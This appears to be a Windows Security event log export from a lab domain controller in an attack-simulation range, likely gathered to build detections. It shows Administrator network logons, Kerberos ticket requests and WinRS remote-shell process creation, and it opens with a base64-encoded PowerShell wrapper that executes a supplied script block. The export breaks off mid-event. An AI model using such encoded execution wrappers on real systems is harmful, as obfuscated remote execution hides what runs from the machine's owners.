QQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252510
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x163B77

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252509
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x163B77
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{88BA9618-E447-8C6F-A4E1-554423C688E5}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252508
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{88BA9618-E447-8C6F-A4E1-554423C688E5}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252507
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{88BA9618-E447-8C6F-A4E1-554423C688E5}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252506
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252505
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x135c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x13dc
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252504
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16387C

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x780
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x10ec
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252503
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16387C

Process Information:
	New Process ID:		0x10ec
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252502
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16387C

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252501
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16387C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{88BA9618-E447-8C6F-A4E1-554423C688E5}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252500
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{88BA9618-E447-8C6F-A4E1-554423C688E5}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252499
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{88BA9618-E447-8C6F-A4E1-554423C688E5}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252498
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252497
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1630BF

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252496
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15D57F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252495
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15D8E3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252494
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1630BF

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252493
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1630BF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{88BA9618-E447-8C6F-A4E1-554423C688E5}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252492
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{88BA9618-E447-8C6F-A4E1-554423C688E5}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252491
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{88BA9618-E447-8C6F-A4E1-554423C688E5}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252490
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252489
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x162EEA

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252488
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x162EEA

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252487
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x162EEA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{88BA9618-E447-8C6F-A4E1-554423C688E5}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252486
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
